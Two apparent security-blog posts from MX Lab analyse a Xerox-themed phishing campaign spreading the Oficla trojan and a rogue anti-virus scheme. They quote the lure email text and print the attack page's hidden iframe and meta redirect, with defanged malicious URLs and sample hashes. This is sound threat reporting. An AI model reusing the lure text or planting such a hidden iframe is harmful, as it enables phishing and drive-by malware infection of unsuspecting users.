New Oficla trojan version in emails with subject “Scan from a Xerox WorkCentre Pro”


MX Lab intercepted some emails with the subject “Scan from a Xerox WorkCentre Pro N 6204257″ that contains the latest Oficla trojan variant. The emails are sent from a spoofed email address and contains a subject in one of the following formats:

Scan from a Xerox WorkCentre Pro $6208924
Scan from a Xerox WorkCentre Pro #7943943
Scan from a Xerox WorkCentre Pro N9700617

Body of the email:

Please open the attached document. It was scanned and sent to you using a Xerox
WorkCentre Pro.

Sent by: Guest
Number of Images: 1
Attachment File Type: ZIP [DOC]

WorkCentre Pro Location: machine location not set
Device Name: XRX6919AA7ACDB46116749

For more information on Xerox products and solutions, please visit
http://www.xerox.com

The email contains a ZIP archive named Tax report.zip with the 56 kB large document Xerox_doc.exe inside.

Virus Total permlink and MD5: eadf133be4dc58050626a5fd194fc546.

Analysis of rogue anti virus software


MX Lab reported earlier in some blog articles about the circulation of a malware campaign that leads to rogue anti virus software and further infections of your computer in the following articles:

Resume emails with attached file Resume.html leads to rogue AV software
Campaign with emails that lead to rogue AV software antivirus_24.exe continues
Malicious emails lead to rogue AV software antivirus_24.exe

We just managed to get a real sample of the malware and a working web site that hosts the malicious scripts and fake anti virus screens. In a comment on one of our blog posts, a writer has delivered us the following URL hxxp://kidstylesource.com/x.html.

When we tried this one we got the iframe scripting that is used in this campaign:

PLEASE WAITING 4 SECOND...
  <meta http-equiv="refresh" content="4;
url=hxxp://cetogilco.cz.cc/scanner10/?afid=24">
</head><body>
<iframe src="hxxp://protectionreader.in/media/index.php?
xml=back&rnd=img&nid=151&hash=ecard&c=4" style="visibility: hidden;" height="1" width="1">
</iframe>
</body></html>

We soon got the following screen in our browser and a pop up window with the message that our system is infected. Oh, yes, we continue now to see what happens. Do not try this at home!

After clicking on OK we got a screen that starts scanning the computer system. The progress bar will advance very fast for such an anti virus scanner and the first alleged infections are found on your system.

A new popup will appear with a Windows Security Alert when the scan is finished. When we click on the button Remove all we got the option to download the file 164 kB large file antivirus.exe.

When submitting this file to Virus Total, 19 of the 42 AV engines did detect the trojan with names like W32/Katusha.D.gen!Eldorado (Authentium), W32/Katusha.D.gen!Eldorado (F-Prot), Mal/FakeAV-EI (Sophos) or TROJ_FAKEAV.SMDO (Trend Micro).

Virus Total permlink and MD5: b9734f1148c03a7f90ad77cb81dc6f1d.

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